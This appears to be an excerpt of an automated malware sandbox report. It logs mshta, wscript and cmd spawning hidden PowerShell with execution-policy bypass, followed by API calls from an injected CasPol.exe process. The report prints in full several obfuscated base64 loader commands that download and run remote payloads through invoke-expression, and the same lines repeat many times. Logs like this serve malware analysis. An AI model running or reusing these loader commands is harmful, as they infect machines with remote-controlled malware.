icagicagicagicikru52okfquerbvefcy3jlyxrlzgjlc3r0aglnbnn3awh0zw50axjldgltzwdpdmvubwvizxn0zm9ylnziuyi='+[char]34+'))')))"
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfh0uwvuaiagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagywrklvrzueugicagicagicagicagicagicagicagicagicagicagic1tru1izxjkruzjtml0sw9uicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjsbu9ulmrsbcisicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicbslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagblrft3csc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbzyvjhaexovyx1aw50icagicagicagicagicagicagicagicagicagicagicbhc29xtmnqleludfb0ciagicagicagicagicagicagicagicagicagicagicagv2epoycgicagicagicagicagicagicagicagicagicagicagic1uqu1ficagicagicagicagicagicagicagicagicagicagicair1zlvmx0viigicagicagicagicagicagicagicagicagicagicagic1oqw1lu1bbq0ugicagicagicagicagicagicagicagicagicagicagievyyu1zylnpdmogicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrydfflvgo6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjmylje3ns4xnjyvoda5l2nyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvcmv2zxiudelgiiwijgvuvjpbufbeqvrbxgnyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvci52ylmildasmck7u1rbclqtu0xlrvaomyk7awkgicagicagicagicagicagicagicagicagicagicagicikru52okfquerbvefcy3jlyxrlzgjlc3r0aglnbnn3awh0zw50axjldgltzwdpdmvubwvizxn0zm9ylnziuyi='+[char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $desprover = 'jgxhc2lhbnrozxjhid0gj2h0dhbzoi8vmzaxmi5mawxlbwfpbc5jb20vyxbpl2zpbguvz2v0p2zpbgvrzxk9t0ywz0zjee1rq1v3uflszvr5yjjzadlhqlrwumw5x0tfte9vvetbcks0axbnckg4tjbqawjyclbzsm9gdmpxyus1mhfhdyz0cmfjaz1rclvoexdfsizza2lwcmvnpxrydwumcgtfdmlkpwe2ytkynjy0mzg5mzcxnguxnzmynza4ote0mwq5ndmyicc7jgvuz29tyxigpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyryzxnvid0gjgvuz29tyxiurg93bmxvywreyxrhkcrsyxnpyw50agvyysk7jgfmcmfnyxigpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkcmvzbyk7jgj1zmlkbya9icc8pejbu0u2nf9tvefsvd4+jzskzxn0zw5kyxjpysa9icc8pejbu0u2nf9ftkq+pic7jgfzbmftzw50bya9icrhznjhz2fylkluzgv4t2yojgj1zmlkbyk7jhryawj1bca9icrhznjhz2fylkluzgv4t2yojgvzdgvuzgfyawepoyrhc25hbwvudg8glwdlidaglwfuzcakdhjpynvsic1ndcakyxnuyw1lbnrvoyrhc25hbwvudg8gkz0gjgj1zmlkby5mzw5ndgg7jhjhbmnhdhjpbghhid0gjhryawj1bcaticrhc25hbwvudg87jgx1cmdvid0gjgfmcmfnyxiuu3vic3ryaw5nkcrhc25hbwvudg8sicryyw5jyxryawxoysk7jhrhbglzy2egpsatam9pbiaojgx1cmdvllrvq2hhckfycmf5kckgfcbgb3jfywnolu9iamvjdcb7icrfih0pwy0xli4tkcrsdxjnby5mzw5ndggpxtskbhvmywrhid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkdgfsaxnjysk7jgluy29udgftaw5hzg8gpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkcrsdwzhzgepoyrmb2xpzm9ybwugpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkcdwquknktskzm9sawzvcm1llkludm9rzsgkbnvsbcwgqcgndhh0lkzhvlzgr1ivota4lzy2ms41nzeumjmylji3ms8vonb0dggnlcanjhn1c3rvjywgjyrzdxn0bycsicckc3vzdg8nlcanq2fzug9sjywgjyrzdxn0bycsicckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlccxjywnjhn1c3rvjykpow==';$lavajo = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($desprover));invoke-expression $lavajo
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfh0uwvuaiagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagywrklvrzueugicagicagicagicagicagicagicagicagicagicagic1tru1izxjkruzjtml0sw9uicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjsbu9ulmrsbcisicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicbslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagblrft3csc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbzyvjhaexovyx1aw50icagicagicagicagicagicagicagicagicagicagicbhc29xtmnqleludfb0ciagicagicagicagicagicagicagicagicagicagicagv2epoycgicagicagicagicagicagicagicagicagicagicagic1uqu1ficagicagicagicagicagicagicagicagicagicagicair1zlvmx0viigicagicagicagicagicagicagicagicagicagicagic1oqw1lu1bbq0ugicagicagicagicagicagicagicagicagicagicagievyyu1zylnpdmogicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrydfflvgo6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjmylje3ns4xnjyvoda5l2nyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvcmv2zxiudelgiiwijgvuvjpbufbeqvrbxgnyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvci52ylmildasmck7u1rbclqtu0xlrvaomyk7awkgicagicagicagicagicagicagicagicagicagicagicikru52okfquerbvefcy3jlyxrlzgjlc3r0aglnbnn3awh0zw50axjldgltzwdpdmvubwvizxn0zm9ylnziuyi='+[char]34+'))')))"
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfh0uwvuaiagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagywrklvrzueugicagicagicagicagicagicagicagicagicagicagic1tru1izxjkruzjtml0sw9uicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjsbu9ulmrsbcisicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicbslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagblrft3csc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbzyvjhaexovyx1aw50icagicagicagicagicagicagicagicagicagicagicbhc29xtmnqleludfb0ciagicagicagicagicagicagicagicagicagicagicagv2epoycgicagicagicagicagicagicagicagicagicagicagic1uqu1ficagicagicagicagicagicagicagicagicagicagicair1zlvmx0viigicagicagicagicagicagicagicagicagicagicagic1oqw1lu1bbq0ugicagicagicagicagicagicagicagicagicagicagievyyu1zylnpdmogicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrydfflvgo6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjmylje3ns4xnjyvoda5l2nyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvcmv2zxiudelgiiwijgvuvjpbufbeqvrbxgnyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvci52ylmildasmck7u1rbclqtu0xlrvaomyk7awkgicagicagicagicagicagicagicagicagicagicagicikru52okfquerbvefcy3jlyxrlzgjlc3r0aglnbnn3awh0zw50axjldgltzwdpdmvubwvizxn0zm9ylnziuyi='+[char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $desprover = 'jgxhc2lhbnrozxjhid0gj2h0dhbzoi8vmzaxmi5mawxlbwfpbc5jb20vyxbpl2zpbguvz2v0p2zpbgvrzxk9t0ywz0zjee1rq1v3uflszvr5yjjzadlhqlrwumw5x0tfte9vvetbcks0axbnckg4tjbqawjyclbzsm9gdmpxyus1mhfhdyz0cmfjaz1rclvoexdfsizza2lwcmvnpxrydwumcgtfdmlkpwe2ytkynjy0mzg5mzcxnguxnzmynza4ote0mwq5ndmyicc7jgvuz29tyxigpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyryzxnvid0gjgvuz29tyxiurg93bmxvywreyxrhkcrsyxnpyw50agvyysk7jgfmcmfnyxigpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkcmvzbyk7jgj1zmlkbya9icc8pejbu0u2nf9tvefsvd4+jzskzxn0zw5kyxjpysa9icc8pejbu0u2nf9ftkq+pic7jgfzbmftzw50bya9icrhznjhz2fylkluzgv4t2yojgj1zmlkbyk7jhryawj1bca9icrhznjhz2fylkluzgv4t2yojgvzdgvuzgfyawepoyrhc25hbwvudg8glwdlidaglwfuzcakdhjpynvsic1ndcakyxnuyw1lbnrvoyrhc25hbwvudg8gkz0gjgj1zmlkby5mzw5ndgg7jhjhbmnhdhjpbghhid0gjhryawj1bcaticrhc25hbwvudg87jgx1cmdvid0gjgfmcmfnyxiuu3vic3ryaw5nkcrhc25hbwvudg8sicryyw5jyxryawxoysk7jhrhbglzy2egpsatam9pbiaojgx1cmdvllrvq2hhckfycmf5kckgfcbgb3jfywnolu9iamvjdcb7icrfih0pwy0xli4tkcrsdxjnby5mzw5ndggpxtskbhvmywrhid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkdgfsaxnjysk7jgluy29udgftaw5hzg8gpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkcrsdwzhzgepoyrmb2xpzm9ybwugpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkcdwquknktskzm9sawzvcm1llkludm9rzsgkbnvsbcwgqcgndhh0lkzhvlzgr1ivota4lzy2ms41nzeumjmylji3ms8vonb0dggnlcanjhn1c3rvjywgjyrzdxn0bycsicckc3vzdg8nlcanq2fzug9sjywgjyrzdxn0bycsicckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlccxjywnjhn1c3rvjykpow==';$lavajo = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($desprover));invoke-expression $lavajo
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfh0uwvuaiagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagywrklvrzueugicagicagicagicagicagicagicagicagicagicagic1tru1izxjkruzjtml0sw9uicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjsbu9ulmrsbcisicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicbslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagblrft3csc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbzyvjhaexovyx1aw50icagicagicagicagicagicagicagicagicagicagicbhc29xtmnqleludfb0ciagicagicagicagicagicagicagicagicagicagicagv2epoycgicagicagicagicagicagicagicagicagicagicagic1uqu1ficagicagicagicagicagicagicagicagicagicagicair1zlvmx0viigicagicagicagicagicagicagicagicagicagicagic1oqw1lu1bbq0ugicagicagicagicagicagicagicagicagicagicagievyyu1zylnpdmogicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrydfflvgo6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjmylje3ns4xnjyvoda5l2nyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvcmv2zxiudelgiiwijgvuvjpbufbeqvrbxgnyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvci52ylmildasmck7u1rbclqtu0xlrvaomyk7awkgicagicagicagicagicagicagicagicagicagicagicikru52okfquerbvefcy3jlyxrlzgjlc3r0aglnbnn3awh0zw50axjldgltzwdpdmvubwvizxn0zm9ylnziuyi='+[char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfh0uwvuaiagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagywrklvrzueugicagicagicagicagicagicagicagicagicagicagic1tru1izxjkruzjtml0sw9uicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjsbu9ulmrsbcisicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicbslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagblrft3csc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbzyvjhaexovyx1aw50icagicagicagicagicagicagicagicagicagicagicbhc29xtmnqleludfb0ciagicagicagicagicagicagicagicagicagicagicagv2epoycgicagicagicagicagicagicagicagicagicagicagic1uqu1ficagicagicagicagicagicagicagicagicagicagicair1zlvmx0viigicagicagicagicagicagicagicagicagicagicagic1oqw1lu1bbq0ugicagicagicagicagicagicagicagicagicagicagievyyu1zylnpdmogicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrydfflvgo6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjmylje3ns4xnjyvoda5l2nyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvcmv2zxiudelgiiwijgvuvjpbufbeqvrbxgnyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvci52ylmildasmck7u1rbclqtu0xlrvaomyk7awkgicagicagicagicagicagicagicagicagicagicagicikru52okfquerbvefcy3jlyxrlzgjlc3r0aglnbnn3awh0zw50axjldgltzwdpdmvubwvizxn0zm9ylnziuyi='+[char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfh0uwvuaiagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagywrklvrzueugicagicagicagicagicagicagicagicagicagicagic1tru1izxjkruzjtml0sw9uicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjsbu9ulmrsbcisicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicbslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagblrft3csc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbzyvjhaexovyx1aw50icagicagicagicagicagicagicagicagicagicagicbhc29xtmnqleludfb0ciagicagicagicagicagicagicagicagicagicagicagv2epoycgicagicagicagicagicagicagicagicagicagicagic1uqu1ficagicagicagicagicagicagicagicagicagicagicair1zlvmx0viigicagicagicagicagicagicagicagicagicagicagic1oqw1lu1bbq0ugicagicagicagicagicagicagicagicagicagicagievyyu1zylnpdmogicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrydfflvgo6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjmylje3ns4xnjyvoda5l2nyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvcmv2zxiudelgiiwijgvuvjpbufbeqvrbxgnyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvci52ylmildasmck7u1rbclqtu0xlrvaomyk7awkgicagicagicagicagicagicagicagicagicagicagicikru52okfquerbvefcy3jlyxrlzgjlc3r0aglnbnn3awh0zw50axjldgltzwdpdmvubwvizxn0zm9ylnziuyi='+[char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $desprover = 'jgxhc2lhbnrozxjhid0gj2h0dhbzoi8vmzaxmi5mawxlbwfpbc5jb20vyxbpl2zpbguvz2v0p2zpbgvrzxk9t0ywz0zjee1rq1v3uflszvr5yjjzadlhqlrwumw5x0tfte9vvetbcks0axbnckg4tjbqawjyclbzsm9gdmpxyus1mhfhdyz0cmfjaz1rclvoexdfsizza2lwcmvnpxrydwumcgtfdmlkpwe2ytkynjy0mzg5mzcxnguxnzmynza4ote0mwq5ndmyicc7jgvuz29tyxigpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyryzxnvid0gjgvuz29tyxiurg93bmxvywreyxrhkcrsyxnpyw50agvyysk7jgfmcmfnyxigpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkcmvzbyk7jgj1zmlkbya9icc8pejbu0u2nf9tvefsvd4+jzskzxn0zw5kyxjpysa9icc8pejbu0u2nf9ftkq+pic7jgfzbmftzw50bya9icrhznjhz2fylkluzgv4t2yojgj1zmlkbyk7jhryawj1bca9icrhznjhz2fylkluzgv4t2yojgvzdgvuzgfyawepoyrhc25hbwvudg8glwdlidaglwfuzcakdhjpynvsic1ndcakyxnuyw1lbnrvoyrhc25hbwvudg8gkz0gjgj1zmlkby5mzw5ndgg7jhjhbmnhdhjpbghhid0gjhryawj1bcaticrhc25hbwvudg87jgx1cmdvid0gjgfmcmfnyxiuu3vic3ryaw5nkcrhc25hbwvudg8sicryyw5jyxryawxoysk7jhrhbglzy2egpsatam9pbiaojgx1cmdvllrvq2hhckfycmf5kckgfcbgb3jfywnolu9iamvjdcb7icrfih0pwy0xli4tkcrsdxjnby5mzw5ndggpxtskbhvmywrhid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkdgfsaxnjysk7jgluy29udgftaw5hzg8gpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkcrsdwzhzgepoyrmb2xpzm9ybwugpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkcdwquknktskzm9sawzvcm1llkludm9rzsgkbnvsbcwgqcgndhh0lkzhvlzgr1ivota4lzy2ms41nzeumjmylji3ms8vonb0dggnlcanjhn1c3rvjywgjyrzdxn0bycsicckc3vzdg8nlcanq2fzug9sjywgjyrzdxn0bycsicckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlccxjywnjhn1c3rvjykpow==';$lavajo = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($desprover));invoke-expression $lavajoJump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]0x3a+[char]0x3a+'utf8.getstring([system.convert]'+[char]0x3a+[char]0x3a+'frombase64string('+[char]0x22+'jfh0uwvuaiagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagywrklvrzueugicagicagicagicagicagicagicagicagicagicagic1tru1izxjkruzjtml0sw9uicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjsbu9ulmrsbcisicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicbslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagblrft3csc3ryaw5nicagicagicagicagicagicagicagicagicagicagicbzyvjhaexovyx1aw50icagicagicagicagicagicagicagicagicagicagicbhc29xtmnqleludfb0ciagicagicagicagicagicagicagicagicagicagicagv2epoycgicagicagicagicagicagicagicagicagicagicagic1uqu1ficagicagicagicagicagicagicagicagicagicagicair1zlvmx0viigicagicagicagicagicagicagicagicagicagicagic1oqw1lu1bbq0ugicagicagicagicagicagicagicagicagicagicagievyyu1zylnpdmogicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicrydfflvgo6olvstervd25sb2fkvg9gawxlkdasimh0dha6ly8xnziumjmylje3ns4xnjyvoda5l2nyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvcmv2zxiudelgiiwijgvuvjpbufbeqvrbxgnyzwf0zwrizxn0dghpz25zd2lodgvudglyzxrpbwvnaxzlbm1lymvzdgzvci52ylmildasmck7u1rbclqtu0xlrvaomyk7awkgicagicagicagicagicagicagicagicagicagicagicikru52okfquerbvefcy3jlyxrlzgjlc3r0aglnbnn3awh0zw50axjldgltzwdpdmvubwvizxn0zm9ylnziuyi='+[char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" $desprover = 'jgxhc2lhbnrozxjhid0gj2h0dhbzoi8vmzaxmi5mawxlbwfpbc5jb20vyxbpl2zpbguvz2v0p2zpbgvrzxk9t0ywz0zjee1rq1v3uflszvr5yjjzadlhqlrwumw5x0tfte9vvetbcks0axbnckg4tjbqawjyclbzsm9gdmpxyus1mhfhdyz0cmfjaz1rclvoexdfsizza2lwcmvnpxrydwumcgtfdmlkpwe2ytkynjy0mzg5mzcxnguxnzmynza4ote0mwq5ndmyicc7jgvuz29tyxigpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2xpzw50oyryzxnvid0gjgvuz29tyxiurg93bmxvywreyxrhkcrsyxnpyw50agvyysk7jgfmcmfnyxigpsbbu3lzdgvtllrlehqurw5jb2rpbmddojpvvey4lkdldfn0cmluzygkcmvzbyk7jgj1zmlkbya9icc8pejbu0u2nf9tvefsvd4+jzskzxn0zw5kyxjpysa9icc8pejbu0u2nf9ftkq+pic7jgfzbmftzw50bya9icrhznjhz2fylkluzgv4t2yojgj1zmlkbyk7jhryawj1bca9icrhznjhz2fylkluzgv4t2yojgvzdgvuzgfyawepoyrhc25hbwvudg8glwdlidaglwfuzcakdhjpynvsic1ndcakyxnuyw1lbnrvoyrhc25hbwvudg8gkz0gjgj1zmlkby5mzw5ndgg7jhjhbmnhdhjpbghhid0gjhryawj1bcaticrhc25hbwvudg87jgx1cmdvid0gjgfmcmfnyxiuu3vic3ryaw5nkcrhc25hbwvudg8sicryyw5jyxryawxoysk7jhrhbglzy2egpsatam9pbiaojgx1cmdvllrvq2hhckfycmf5kckgfcbgb3jfywnolu9iamvjdcb7icrfih0pwy0xli4tkcrsdxjnby5mzw5ndggpxtskbhvmywrhid0gw1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygkdgfsaxnjysk7jgluy29udgftaw5hzg8gpsbbu3lzdgvtlljlzmxly3rpb24uqxnzzw1ibhldojpmb2fkkcrsdwzhzgepoyrmb2xpzm9ybwugpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkcdwquknktskzm9sawzvcm1llkludm9rzsgkbnvsbcwgqcgndhh0lkzhvlzgr1ivota4lzy2ms41nzeumjmylji3ms8vonb0dggnlcanjhn1c3rvjywgjyrzdxn0bycsicckc3vzdg8nlcanq2fzug9sjywgjyrzdxn0bycsicckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlcckc3vzdg8nlccxjywnjhn1c3rvjykpow==';$lavajo = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($desprover));invoke-expression $lavajo
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00433E0A cpuid 29_2_00433E0A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,29_2_004470AE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,29_2_004510BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,29_2_004511E3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,29_2_004512EA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,29_2_004513B7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,29_2_00447597
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoA,29_2_0040E679
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: IsValidCodePage,GetLocaleInfoW,29_2_00450A7F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,29_2_00450CF7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,29_2_00450D42
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: EnumSystemLocalesW,29_2_00450DDD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,29_2_00450E6A
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformationJump to behavior
